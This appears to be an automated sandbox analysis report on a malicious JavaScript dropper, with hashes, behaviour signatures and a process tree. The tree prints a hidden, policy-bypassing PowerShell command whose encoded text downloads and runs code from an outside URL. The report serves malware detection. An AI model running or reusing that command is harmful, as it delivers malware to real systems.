a63d13b837402362b78cd324b8efe8c5bc58fca7fe1373fccbed082bc1166863

General

Target
2021APT-28_18972453.js
Size 76KB
Sample210729-mgtrfwc2f2
SHA256 a63d13b837402362b78cd324b8efe8c5bc58fca7fe1373fccbed082bc1166863
MD5 7c1420054c32209ab0f890dcdcb1580c
SHA1 04fb950f88f6d95a14cda5ded672ae878181bc73
SHA512 dbb7218505489a8ad7cc31c22338b19c9ffb8b2e605f7aff2bd9e451990b2f13ffb9b25c789b01d9da7c15f4a27ca97fbe8ccc95b121e4a0d8cee251d14811d1
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	636	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3312	636	WerFault.exe	77

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
636	powershell.exe
636	powershell.exe
636	powershell.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	3312	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 604 wrote to memory of 3096	604	wscript.exe	74
PID 604 wrote to memory of 3096	604	wscript.exe	74
PID 3096 wrote to memory of 636	3096	cmd.exe	77
PID 3096 wrote to memory of 636	3096	cmd.exe	77

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_18972453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:636
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 636 -s 2304
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/636-120-0x00000222779F0000-0x00000222779F1000-memory.dmp

Download

memory/636-125-0x0000022277C30000-0x0000022277C31000-memory.dmp

Download

memory/636-126-0x0000022277A30000-0x0000022277A32000-memory.dmp

Download

memory/636-127-0x0000022277A33000-0x0000022277A35000-memory.dmp

Download

memory/636-140-0x0000022277A36000-0x0000022277A38000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads